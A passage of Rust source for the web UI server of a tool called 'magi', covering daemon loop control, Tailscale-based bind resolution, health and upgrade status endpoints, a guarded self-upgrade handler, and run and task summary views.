1660 updater::log_step(home, "finish_loop: no loop running; nothing to wait for");
1661 return;
1662 };
1663 live.stop.stop();
1664 lock_or_recover(state).rev += 1;
1665 updater::log_step(
1666 home,
1667 "finish_loop: waiting for the loop to finish the run in flight",
1668 );
1669 let waited = std::time::Instant::now();
1670 let mut handle = live.handle;
1673 let mut beat = tokio::time::interval(LEASE_BEAT);
1674 loop {
1675 tokio::select! {
1676 _ = &mut handle => break,
1677 _ = beat.tick() => {
1678 if let Some(lease) = lease.as_deref_mut() {
1679 lease.beat();
1680 }
1681 }
1682 }
1683 }
1684 updater::log_step(
1685 home,
1686 &format!(
1687 "finish_loop: the loop ended after {:.1}s",
1688 waited.elapsed().as_secs_f32()
1689 ),
1690 );
1691}
1692
1693pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
1699 match bind {
1700 Bind::Addr(addr) => (*addr, None),
1701 Bind::Auto => match tailscale_ip() {
1702 Ok(ip) => (IpAddr::V4(ip), None),
1703 Err(why) => (
1704 IpAddr::V4(Ipv4Addr::LOCALHOST),
1705 Some(format!(
1706 "--bind auto fell back to 127.0.0.1: {why}. The UI is \
1707 local-only and a phone cannot reach it; start Tailscale \
1708 or pass --bind <addr>"
1709 )),
1710 ),
1711 },
1712 }
1713}
1714
1715fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
1723 let out = std::process::Command::new("tailscale")
1724 .args(["ip", "-4"])
1725 .quiet()
1726 .output()
1727 .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
1728 if !out.status.success() {
1729 let why = String::from_utf8_lossy(&out.stderr);
1730 let why = why.trim();
1731 return Err(format!(
1732 "`tailscale ip -4` failed ({}){}",
1733 out.status,
1734 if why.is_empty() {
1735 String::new()
1736 } else {
1737 format!(": {why}")
1738 }
1739 ));
1740 }
1741 String::from_utf8_lossy(&out.stdout)
1742 .lines()
1743 .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
1744 .find(is_tailnet)
1745 .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
1746}
1747
1748fn is_tailnet(ip: &Ipv4Addr) -> bool {
1750 let o = ip.octets();
1751 o[0] == 100 && (64..=127).contains(&o[1])
1752}
1753
1754type ApiResult<T> = std::result::Result<T, ApiError>;
1758
1759#[derive(Debug)]
1761struct ApiError {
1762 status: StatusCode,
1763 message: String,
1764}
1765
1766impl ApiError {
1767 fn bad_request(message: impl Into<String>) -> Self {
1769 Self {
1770 status: StatusCode::BAD_REQUEST,
1771 message: message.into(),
1772 }
1773 }
1774
1775 fn not_found(message: impl Into<String>) -> Self {
1777 Self {
1778 status: StatusCode::NOT_FOUND,
1779 message: message.into(),
1780 }
1781 }
1782
1783 fn with_status(mut self, status: StatusCode) -> Self {
1786 self.status = status;
1787 self
1788 }
1789
1790 fn bad_request_from(e: anyhow::Error) -> Self {
1794 Self::bad_request(format!("{e:#}"))
1795 }
1796
1797 fn conflict(message: impl Into<String>) -> Self {
1798 Self {
1799 status: StatusCode::CONFLICT,
1800 message: message.into(),
1801 }
1802 }
1803
1804 fn internal(message: impl Into<String>) -> Self {
1806 Self {
1807 status: StatusCode::INTERNAL_SERVER_ERROR,
1808 message: message.into(),
1809 }
1810 }
1811}
1812
1813impl From<anyhow::Error> for ApiError {
1814 fn from(e: anyhow::Error) -> Self {
1819 Self::internal(format!("{e:#}"))
1820 }
1821}
1822
1823impl IntoResponse for ApiError {
1824 fn into_response(self) -> Response {
1825 let body = serde_json::json!({ "error": self.message });
1826 (self.status, Json(body)).into_response()
1827 }
1828}
1829
1830async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
1839where
1840 T: Send + 'static,
1841{
1842 #[cfg(test)]
1843 let job = request_cost::carry(job);
1844 match tokio::task::spawn_blocking(job).await {
1845 Ok(result) => result,
1846 Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
1847 }
1848}
1849
1850const ASSET_CACHE: &str = "no-cache, must-revalidate";
1868
1869fn asset_etag() -> &'static str {
1876 static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
1877 format!(
1878 "\"{}-{}\"",
1879 env!("CARGO_PKG_VERSION"),
1880 INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
1885 )
1886 });
1887 &TAG
1888}
1889
1890fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
1892 [
1893 (header::CONTENT_TYPE, mime),
1894 (header::CACHE_CONTROL, ASSET_CACHE),
1895 (header::ETAG, asset_etag()),
1896 ]
1897}
1898
1899fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
1907 let tag = asset_etag();
1908 let known = headers
1909 .get(header::IF_NONE_MATCH)
1910 .and_then(|v| v.to_str().ok())
1911 .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
1915 if known {
1916 return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
1917 }
1918 (asset_headers(mime), body).into_response()
1919}
1920
1921async fn index(headers: header::HeaderMap) -> Response {
1922 asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
1923}
1924
1925async fn app_css(headers: header::HeaderMap) -> Response {
1926 asset(&headers, "text/css; charset=utf-8", APP_CSS)
1927}
1928
1929async fn app_js(headers: header::HeaderMap) -> Response {
1930 asset(&headers, "text/javascript; charset=utf-8", APP_JS)
1931}
1932
1933#[derive(Debug, Serialize)]
1935struct HealthView {
1936 version: &'static str,
1937 home: String,
1938 queue_rev: u64,
1939 runs_rev: u64,
1940 questions_rev: u64,
1952 talks_rev: u64,
1954 notifications_rev: u64,
1956 notifications_unread: usize,
1959 loop_rev: u64,
1964 runs_unreadable: usize,
1972 disk: DiskView,
1980 questions_open: usize,
1986 questions_needs_owner: usize,
1996 daemon: DaemonView,
1997 #[serde(rename = "loop")]
2003 looping: LoopView,
2004 update: UpdateView,
2011 upgrade: Option<UpgradeProgressView>,
2015}
2016
2017#[derive(Debug, Serialize)]
2024struct UpdateView {
2025 available: bool,
2027 to: Option<String>,
2029}
2030
2031#[derive(Debug, Serialize)]
2033struct UpgradeProgressView {
2034 stage: updater::Stage,
2035 from: String,
2036 to: Option<String>,
2037 waiting_on: Option<String>,
2040 started_at: Timestamp,
2041 updated_at: Timestamp,
2042 detail: Option<String>,
2043 stuck_for_secs: Option<i64>,
2046 stuck_kind: Option<updater::StallKind>,
2049 handover_alive: bool,
2052}
2053
2054fn should_spawn_recheck(cfg: &Update) -> bool {
2061 cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
2062}
2063
2064fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
2076 if progress.is_some_and(|p| !p.stage.terminal()) {
2077 return false;
2078 }
2079 checker.should_check()
2080}
2081
2082fn recheck_poll_period(cfg: &Update) -> Duration {
2095 (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
2096}
2097
2098async fn run_update_recheck(repo: PathBuf, home: PathBuf) {
2122 loop {
2123 let (cfg, _) = Config::discover(&repo, None).unwrap_or_default();
2124 tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
2125 if !should_spawn_recheck(&cfg.update) {
2126 continue;
2127 }
2128 let Some(checker) = updater::Checker::new(&cfg.update) else {
2129 continue;
2130 };
2131 let progress = updater::read_progress(&home);
2132 if !update_recheck_due(&checker, progress.as_ref()) {
2133 continue;
2134 }
2135 if let Err(e) = checker.newer_release().await {
2136 tracing::warn!("background update recheck failed: {e:#}");
2137 }
2138 }
2139}
2140
2141fn cached_update_view(cfg: Option<&Config>) -> UpdateView {
2147 let default;
2148 let cfg = match cfg {
2149 Some(cfg) => cfg,
2150 None => {
2151 default = Config::default();
2152 &default
2153 }
2154 };
2155 let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
2156 match latest {
2157 Some(latest) => UpdateView {
2158 available: true,
2159 to: Some(latest.tag_name),
2160 },
2161 None => UpdateView {
2162 available: false,
2163 to: None,
2164 },
2165 }
2166}
2167
2168fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
2174 let now = Timestamp::now();
2175 let lease = updater::read_lease(&ui.home);
2176 let alive = updater::live_lease(&progress, lease.as_ref(), now);
2177 let run_id = alive
2178 .and_then(|l| l.parked_run.as_deref())
2179 .or(progress.parked_run.as_deref());
2180 let parking = progress.stage == updater::Stage::Parking;
2181 let waited = alive.map_or_else(String::new, |l| {
2182 let secs = updater::waited_secs(l, now);
2183 format!(" (waited {} min so far)", secs / 60)
2184 });
2185 let run_text = run_id
2186 .filter(|_| parking)
2187 .map(|id| match read_run(&ui.runs, id).ok() {
2188 Some(run) => format!("run {} is finishing {}", run.short(), run.status.as_str()),
2189 None => format!("run {id} is finishing"),
2190 });
2191 let talks_text = Some(updater::talks_phrase(&progress.parked_talks))
2192 .filter(|t| parking && !t.is_empty())
2193 .map(|t| format!("{t} finishing"));
2194 let waiting_on = match (run_text, talks_text) {
2195 (None, None) => None,
2196 (run, talks) => {
2197 let parts: Vec<String> = [run, talks].into_iter().flatten().collect();
2198 Some(format!(
2199 "{} before the address is handed over{waited}",
2200 parts.join(" and ")
2201 ))
2202 }
2203 };
2204 let detail = progress
2205 .detail
2206 .clone()
2207 .or_else(|| updater::read_note(&ui.home, &progress));
2208 let stalled = updater::stall(&progress, lease.as_ref(), now);
2209 let waiting_on = waiting_on.or_else(|| stalled.as_ref().map(|s| s.waiting_on.clone()));
2210 UpgradeProgressView {
2211 stuck_for_secs: stalled.as_ref().map(|s| s.age_secs),
2212 stuck_kind: stalled.map(|s| s.kind),
2213 handover_alive: alive.is_some(),
2214 stage: progress.stage,
2215 from: progress.from,
2216 to: progress.to,
2217 waiting_on,
2218 started_at: progress.started_at,
2219 updated_at: progress.updated_at,
2220 detail,
2221 }
2222}
2223
2224#[derive(Debug, Serialize)]
2229struct DiskView {
2230 #[serde(skip_serializing_if = "Option::is_none")]
2232 free_bytes: Option<u64>,
2233 runs_bytes: u64,
2235 worktrees_bytes: u64,
2237 #[serde(skip_serializing_if = "Option::is_none")]
2239 cache_bytes: Option<u64>,
2240}
2241
2242impl DiskView {
2243 fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
2245 let cache_bytes = cfg
2246 .and_then(|cfg| cfg.cache_dir())
2247 .map(|dir| crate::disk::dir_size(&dir));
2248 Self {
2249 free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
2250 runs_bytes: crate::disk::dir_size(&ui.runs),
2251 worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
2252 cache_bytes,
2253 }
2254 }
2255}
2256
2257#[derive(Debug, Serialize)]
2259struct DaemonView {
2260 running: bool,
2261 idle: Option<bool>,
2262 pid: Option<u32>,
2263 current: Vec<daemon::Current>,
2267 completed: Option<u64>,
2268 stale_for_secs: Option<i64>,
2269}
2270
2271impl DaemonView {
2272 fn of(status: Option<daemon::Reading>) -> Self {
2276 let Some(status) = status else {
2277 return Self {
2278 running: false,
2279 idle: None,
2280 pid: None,
2281 current: Vec::new(),
2282 completed: None,
2283 stale_for_secs: None,
2284 };
2285 };
2286 let now = Timestamp::now();
2287 let age = status.age_secs(now);
2288 Self {
2289 running: status.running(now),
2290 idle: Some(status.idle),
2291 pid: status.pid,
2292 current: status.current,
2293 completed: Some(status.completed),
2294 stale_for_secs: age,
2295 }
2296 }
2297}
2298
2299async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
2300 blocking(move || {
2301 let reading = daemon::read_status(&ui.home);
2305 let loop_rev = ui.lock_loop().rev;
2309 let cfg = deputy_config(&ui.repo);
2312 let update = cached_update_view(cfg.as_ref());
2313 let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
2314 Ok(Json(HealthView {
2315 version: env!("CARGO_PKG_VERSION"),
2316 home: ui.home.display().to_string(),
2317 queue_rev: stamps_revision(&store_stamps(ui.queue.root(), false)),
2318 runs_rev: runs_revision(&ui.runs),
2319 questions_rev: ui.questions.revision(),
2320 talks_rev: stamps_revision(&store_stamps(ui.talks.root(), false)),
2321 notifications_rev: ui.notices.revision(),
2322 notifications_unread: ui.notices.count_unread(),
2323 loop_rev,
2324 runs_unreadable: runs_unreadable(&ui.runs),
2325 questions_open: ui.questions.count_open(),
2326 questions_needs_owner: ui.questions.count_needs_owner(),
2327 daemon: DaemonView::of(reading.clone()),
2328 looping: ui.loop_view(reading),
2329 disk: DiskView::of(&ui, cfg.as_ref()),
2330 update,
2331 upgrade,
2332 }))
2333 })
2334 .await
2335}
2336
2337#[derive(Debug, Serialize)]
2339struct LoopView {
2340 running: bool,
2342 stopping: bool,
2350 parking: bool,
2358 owned: bool,
2366 repo: String,
2369 merge: Option<String>,
2372 last_error: Option<String>,
2380 daemon: DaemonView,
2383}
2384
2385#[derive(Debug, Clone, Copy)]
2394struct Foreign {
2395 pid: Option<u32>,
2397}
2398
2399impl Foreign {
2400 fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
2403 daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
2407 }
2408
2409 fn who(&self) -> String {
2412 match self.pid {
2413 Some(pid) => format!("another magi process (pid {pid})"),
2414 None => "another magi process".to_owned(),
2415 }
2416 }
2417}
2418
2419type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
2424
2425fn launch_daemon(
2427 opts: daemon::Opts,
2428 stop: daemon::Stop,
2429) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
2430 Box::pin(daemon::serve_until(opts, stop))
2431}
2432
2433#[derive(Debug, Default)]
2435struct LoopState {
2436 live: Option<Live>,
2438 rev: u64,
2446 last_error: Option<String>,
2449 resume_after_handover: bool,
2454}
2455
2456#[derive(Debug)]
2458struct Live {
2459 stop: daemon::Stop,
2461 handle: tokio::task::JoinHandle<()>,
2466 opts: daemon::Opts,
2470}
2471
2472impl Live {
2473 fn alive(&self) -> bool {
2475 !self.handle.is_finished()
2476 }
2477}
2478
2479fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
2486 state.lock().unwrap_or_else(PoisonError::into_inner)
2487}
2488
2489async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
2491 blocking(move || {
2492 let reading = daemon::read_status(&ui.home);
2493 Ok(Json(ui.loop_view(reading)))
2494 })
2495 .await
2496}
2497
2498#[derive(Debug, Deserialize)]
2504#[serde(deny_unknown_fields)]
2505struct LoopCommand {
2506 running: bool,
2507 #[serde(default)]
2517 park: bool,
2518}
2519
2520async fn loop_post(
2528 State(ui): State<Arc<Ui>>,
2529 body: std::result::Result<Json<LoopCommand>, JsonRejection>,
2530) -> ApiResult<Json<LoopView>> {
2531 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2534 blocking(move || {
2535 let reading = daemon::read_status(&ui.home);
2536 let foreign = Foreign::of(reading.as_ref());
2537 if body.running {
2538 ui.start_loop(foreign)?;
2539 } else {
2540 ui.stop_loop(foreign, body.park)?;
2541 }
2542 Ok(Json(ui.loop_view(reading)))
2543 })
2544 .await
2545}
2546
2547#[derive(Debug, Serialize)]
2549struct UpgradeView {
2550 from: String,
2552 to: Option<String>,
2554 parked: Option<String>,
2556 detail: String,
2558}
2559
2560fn upgrade_in_motion(progress: Option<&updater::Progress>) -> Option<&updater::Progress> {
2563 progress.filter(|p| !p.stage.terminal())
2564}
2565
2566async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
2590 let reading = daemon::read_status(&ui.home);
2591 if let Some(other) = Foreign::of(reading.as_ref()) {
2592 return Err(ApiError::conflict(format!(
2593 "the loop belongs to {}, so replacing this binary would leave \
2594 that process running an old one against the same queue. Upgrade \
2595 where it was started.",
2596 other.who()
2597 )));
2598 }
2599
2600 let Ok(_gate) = Arc::clone(&ui.upgrade_gate).try_lock_owned() else {
2605 return Err(ApiError::conflict(
2606 "another request is already preparing an upgrade",
2607 ));
2608 };
2609 if ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
2610 return Err(ApiError::conflict(
2611 "an upgrade is already in progress (this process started one and it \
2612 has not finished or failed yet)",
2613 ));
2614 }
2615 let recorded = updater::read_progress(&ui.home);
2616 if let Some(p) = upgrade_in_motion(recorded.as_ref()) {
2617 return Err(ApiError::conflict(format!(
2618 "an upgrade is already in progress (stage: {}, {} -> {}). If it \
2619 stays stuck, restart the deck; on start it settles a stale record.",
2620 p.stage.as_str(),
2621 p.from,
2622 p.to.as_deref().unwrap_or("?"),
2623 )));
2624 }
2625
2626 if crate::updater::disabled_by_env() {
2632 return Ok((
2633 StatusCode::OK,
2634 Json(UpgradeView {
2635 from: env!("CARGO_PKG_VERSION").to_owned(),
2636 to: None,
2637 parked: None,
2638 detail: format!(
2639 "Automatic updates are disabled by {}. Nothing was parked \
2640 and nothing restarted.",
2641 crate::updater::NO_AUTOUPDATE_ENV
2642 ),
2643 }),
2644 ));
2645 }
2646
2647 let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
2652 let from = env!("CARGO_PKG_VERSION").to_owned();
2653 let latest = match crate::updater::Checker::new(&cfg.update) {
2654 Some(checker) => checker
2655 .newer_release()
2656 .await
2657 .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
2658 None => None,
2659 };
2660 let Some(latest) = latest else {
2661 return Ok((
2662 StatusCode::OK,
2663 Json(UpgradeView {
2664 from,
2665 to: None,
2666 parked: None,
2667 detail: "Already on the newest release. Nothing was parked \
2668 and nothing restarted."
2669 .to_owned(),
2670 }),
2671 ));
2672 };
2673
2674 let parked = ui.park_for_upgrade(&from, Some(latest.tag_name.as_str()))?;
2677 let detail = match &parked {
2678 Some(run) => format!(
2683 "Run {} is parking at its next step, which can take as long as \
2684 the step it is on - up to an hour for an implement wave. The \
2685 deck replaces itself once it parks, comes back, and the loop \
2686 carries that run on from where it stopped. Nothing is lost if \
2687 you close this.",
2688 crate::run::short_of(run)
2689 ),
2690 None => "The deck replaces itself and comes back. Nothing was in \
2691 flight to park."
2692 .to_owned(),
2693 };
2694
2695 let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
2699 progress.parked_run = parked.clone();
2700 updater::write_progress_logged(&ui.home, &progress);
2704
2705 let home = ui.home.clone();
2706 let looping = ui.looping();
2707 ui.upgrade_spawned
2708 .store(true, std::sync::atomic::Ordering::SeqCst);
2709 let spawned = Arc::clone(&ui.upgrade_spawned);
2710 tokio::spawn(async move {
2711 if let Err(e) = upgrade_and_restart(home.clone()).await {
2712 tracing::error!("the upgrade did not complete: {e:#}");
2713 lock_or_recover(&looping).resume_after_handover = false;
2714 let _ = updater::fail_progress(&home, &format!("{e:#}"));
2718 spawned.store(false, std::sync::atomic::Ordering::SeqCst);
2721 }
2722 });
2723
2724 Ok((
2725 StatusCode::ACCEPTED,
2726 Json(UpgradeView {
2727 from,
2728 to: Some(latest.tag_name),
2729 parked,
2730 detail,
2731 }),
2732 ))
2733}
2734
2735async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
2740 crate::updater::run_self_update(true, false, true).await?;
2743 updater::log_step(&home, "binary replaced - recording the replaced stage");
2744 if let Some(mut progress) = updater::read_progress(&home) {
2745 progress.advance(updater::Stage::Replaced);
2746 updater::write_progress_logged(&home, &progress);
2747 }
2748 updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
2749 HANDOVER.notify_one();
2750 updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
2751 Ok(())
2752}
2753
2754#[derive(Debug, Serialize)]
2760struct RunSummary {
2761 id: String,
2762 short: String,
2763 status: String,
2764 done: bool,
2765 instruction: String,
2766 title: String,
2767 repo: String,
2768 repo_name: String,
2769 created_at: String,
2770 updated_at: String,
2771 candidates: usize,
2772 viable: usize,
2773 judges: usize,
2774 winner: Option<char>,
2775 reviews: usize,
2776 quota_losses: usize,
2777 event: Option<String>,
2778 superseded_by: Option<String>,
2783 waiting: bool,
2790 live: crate::run::Liveness,
2794 pr: Option<crate::run::PrRecord>,
2796 unmerged_by_design: bool,
2802 #[serde(default)]
2805 display_status: String,
2806 #[serde(default)]
2809 badge_status: String,
2810 origin_label: String,
2813}
2814
2815impl RunSummary {
2816 fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
2817 Self {
2818 id: state.id.clone(),
2819 short: state.short().to_owned(),
2820 status: status_word(state.status),
2821 done: state.status.done(),
2822 unmerged_by_design: state.unmerged_by_design(),
2823 display_status: run_display_status(state, waiting, live),
2824 badge_status: run_display_status(state, waiting, live),
2825 instruction: state.instruction.clone(),
2826 title: title_from(&state.instruction, TITLE_MAX),
2827 repo: state.repo.display().to_string(),
2828 repo_name: state
2829 .repo
2830 .file_name()
2831 .map(|n| n.to_string_lossy().into_owned())
2832 .unwrap_or_default(),
2833 created_at: state.created_at.to_string(),
2834 updated_at: state.updated_at.to_string(),
2835 candidates: state.candidates.len(),
2836 viable: state.viable().len(),
2837 judges: state.config.graph.judges,
2838 winner: state.winner().map(|c| c.label),
2839 reviews: state.reviews.len(),
2840 quota_losses: state.quota.len(),
2841 event: state.events.last().map(|e| e.message.clone()),
2842 waiting,
2843 live,
2844 superseded_by: None,
2847 pr: state.pr.clone(),
2848 origin_label: crate::run::origin_label(state.origin.as_ref()),
2849 }
2850 }
2851}
2852
2853fn status_word(status: RunStatus) -> String {
2856 status.as_str().to_owned()
2860}
2861
2862fn run_display_status(state: &RunState, waiting: bool, live: crate::run::Liveness) -> String {
2868 if waiting {
2869 return "waiting".to_owned();
2870 }
2871 if state.unmerged_by_design() {
2872 return "unmerged".to_owned();
2873 }
2874 if !state.status.done() && live == crate::run::Liveness::Dead {
2875 if state.parked {
2878 return "parked".to_owned();
2879 }
2880 return "stale".to_owned();
2881 }
2882 status_word(state.status)
2883}
2884
2885fn run_badge_status(
2893 state: &RunState,
2894 display_status: &str,
2895 live: crate::run::Liveness,
2896 superseded: bool,
2897) -> String {
2898 if state.status.done() || live == crate::run::Liveness::Live {
2899 return display_status.to_owned();
2900 }
2901 if superseded {
2902 return "superseded".to_owned();
2903 }
2904 if live == crate::run::Liveness::Dead && !matches!(display_status, "parked" | "waiting") {
2908 return "stale".to_owned();
2909 }
2910 display_status.to_owned()
2911}
2912
2913#[derive(Debug, Deserialize)]
2915struct ListQuery {
2916 #[serde(default)]
2917 limit: Option<usize>,
2918 ids: Option<String>,
2920}
2921
2922impl ListQuery {
2923 fn contains(&self, id: &str) -> bool {
2924 self.ids
2925 .as_ref()
2926 .is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
2927 }
2928}
2929
2930async fn runs_list(
2931 State(ui): State<Arc<Ui>>,
2932 Query(q): Query<ListQuery>,
2933) -> ApiResult<Json<Vec<RunSummary>>> {
2934 let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
2935 blocking(move || {
2936 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
2937 let states = run_ids(&ui.runs)
2938 .into_iter()
2939 .filter_map(|id| read_run(&ui.runs, &id).ok())
2944 .take(limit)
2945 .filter(|run| q.contains(&run.id));
2946 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
2947 let summaries = summarize(
2948 states,
2949 &open_runs,
2950 &claimed,
2951 &superseded,
2952 |p| probe.borrow_mut().status(p),
2953 |p| probe.borrow_mut().started_at(p),
2954 );
2955 Ok(Json(summaries))
2956 })
2957 .await
2958}
2959
2960fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
2965 let open_runs: HashSet<String> = ui
2966 .questions
2967 .list()
2968 .into_iter()
2969 .filter(|q| q.status.open())
2970 .map(|q| q.run)
2971 .collect();
2972 let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2973 .into_iter()
2974 .map(|c| c.run)
2975 .collect();
2976 (open_runs, claimed, ui.queue.superseded())
2977}
2978
2979fn summarize<I, S, D>(
2985 states: I,
2986 open_runs: &HashSet<String>,
2987 claimed: &HashSet<String>,
2988 superseded: &HashMap<String, String>,
2989 mut status_q: S,
2990 mut identity_q: D,
2991) -> Vec<RunSummary>
2992where
2993 I: IntoIterator<Item = RunState>,
2994 S: FnMut(u32) -> Option<bool>,
2995 D: FnMut(u32) -> Option<String>,
2996{
2997 states
2998 .into_iter()
2999 .map(|state| {
3000 let waiting = open_runs.contains(&state.id);
3001 let live =
3002 state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
3003 let mut row = RunSummary::of(&state, waiting, live);
3004 row.superseded_by = state
3005 .pr_taken_over_by
3006 .as_ref()
3007 .or_else(|| superseded.get(&state.id))
3008 .map(String::as_str)
3009 .map(crate::run::short_of)
3010 .map(str::to_owned);
3011 row.badge_status = run_badge_status(
3012 &state,
3013 &row.display_status,
3014 live,
3015 row.superseded_by.is_some(),
3016 );
3017 row
3018 })
3019 .collect()
3020}
3021
3022#[derive(Debug, Serialize)]
3029struct RunDetailView {
3030 stop_reason: Option<String>,
3031 #[serde(flatten)]
3032 state: RunState,
3033 instruction_md: Vec<md::Node>,
3034 #[serde(flatten)]
3038 prose_md: RunProseMd,
3039 live: crate::run::Liveness,
3054 unmerged_by_design: bool,
3059 #[serde(default)]
3061 waiting: bool,
3062 #[serde(default)]
3064 display_status: String,
3065 #[serde(default)]
3067 badge_status: String,
3068 done: bool,
3073 superseded_by: Option<String>,
3081 latest_attempt: Option<LatestAttempt>,
3095 task: Option<TaskRef>,
3098 origin_label: String,
3102 pass_views: Vec<PassView>,
3105}
3106
3107#[derive(Debug, Serialize)]
3109struct TaskRef {
3110 id: String,
3111 short: String,
3112 title: String,
3113 source_label: String,
3115 source_link: Option<SourceLink>,
3117 status: &'static str,
3119 attempts: usize,
3120 max_attempts: usize,
3121 is_latest: bool,
3123 latest: Option<RunBrief>,
3125 finished_by: Option<RunBrief>,
3127 closed_by_hand: bool,
3129}
3130
3131#[derive(Debug, PartialEq, Eq, Serialize)]
3133struct SourceLink {
3134 kind: &'static str,
3136 id: String,
3138 href: String,
3140}
3141
3142fn encode_segment(raw: &str) -> String {
3144 let mut out = String::with_capacity(raw.len());
3145 for b in raw.bytes() {
3146 if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
3147 out.push(b as char);
3148 } else {
3149 out.push_str(&format!("%{b:02X}"));
3150 }
3151 }
3152 out
3153}
3154
3155fn source_link(source: &Source) -> Option<SourceLink> {
3159 let Source::Agent { run, node } = source else {
3160 return None;
3161 };
3162 let (kind, route) = if node == crate::queue::CHAT_NODE {
3163 ("chat", "chat")
3164 } else {
3165 ("run", "runs")
3166 };
3167 Some(SourceLink {
3168 kind,
3169 id: run.clone(),
3170 href: format!("#/{route}/{}", encode_segment(run)),
3171 })
3172}
3173
3174#[derive(Debug, Serialize, PartialEq)]
3176struct FollowUpParent {
3177 id: String,
3178 short: String,
3179 title: String,
3180 status: &'static str,
3182 href: String,
3183}
3184
3185#[derive(Debug, Serialize, PartialEq)]
3187struct FollowUpRun {
3188 id: String,
3189 short: String,
3190 status: Option<&'static str>,
3192 href: Option<String>,
3194}
3195
3196#[derive(Debug, Serialize, PartialEq)]
3199struct FollowUpOrigin {
3200 parent: Option<FollowUpParent>,
3202 run: FollowUpRun,
3203 pr: String,
3208 findings: Vec<String>,
3209 generation: u32,
3210}
3211
3212fn followup_origin(
3215 fu: &crate::queue::FollowUp,
3216 task: impl Fn(&str) -> Option<Task>,
3217 run: impl Fn(&str) -> Option<RunState>,
3218) -> FollowUpOrigin {
3219 let parent = fu
3220 .origin_task
3221 .as_deref()
3222 .and_then(task)
3223 .map(|t| FollowUpParent {
3224 short: t.short().to_owned(),
3225 href: format!("#/tasks/{}", encode_segment(&t.id)),
3226 status: t.status.as_str(),
3227 title: t.title,
3228 id: t.id,
3229 });
3230 let state = run(&fu.run);
3231 FollowUpOrigin {
3232 parent,
3233 run: FollowUpRun {
3234 short: run::short_of(&fu.run).to_owned(),
3235 status: state.as_ref().map(|s| s.status.as_str()),
3236 href: state
3237 .is_some()
3238 .then(|| format!("#/runs/{}", encode_segment(&fu.run))),
3239 id: fu.run.clone(),
3240 },
3241 pr: fu.pr.clone(),
3242 findings: fu.findings.clone(),
3243 generation: fu.generation,
3244 }
3245}
3246
3247#[derive(Debug, Serialize)]
3249struct RunBrief {
3250 id: String,
3251 short: String,
3252 status: Option<&'static str>,
3254 outcome: String,
3256 badge: Option<String>,
3258}
3259
3260fn task_outcome(
3263 task: &Task,
3264 this_run: &str,
3265 max_attempts: usize,
3266 read: impl Fn(&str) -> Option<RunState>,
3267) -> TaskRef {
3268 let max_attempts = task.effective_attempt_limit(max_attempts);
3269 let history = task_history(task, read);
3270 let brief = |h: &TaskRunView| RunBrief {
3271 id: h.id.clone(),
3272 short: h.short.clone(),
3273 status: h.status,
3274 outcome: h.exit.edge_label(h.status),
3275 badge: h.badge.clone(),
3276 };
3277 let is_latest = task.runs.last().is_none_or(|r| r == this_run);
3278 let latest = if is_latest {
3279 None
3280 } else {
3281 history.last().map(brief)
3282 };
3283 let done = task.status == TaskStatus::Done;
3284 let finished_by = done
3285 .then(|| {
3286 history
3287 .iter()
3288 .rev()
3289 .find(|h| {
3290 matches!(
3291 h.exit,
3292 RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
3293 )
3294 })
3295 .map(brief)
3296 })
3297 .flatten();
3298 TaskRef {
3299 short: task.short().to_owned(),
3300 title: task.title.clone(),
3301 id: task.id.clone(),
3302 source_label: task.source.label(),
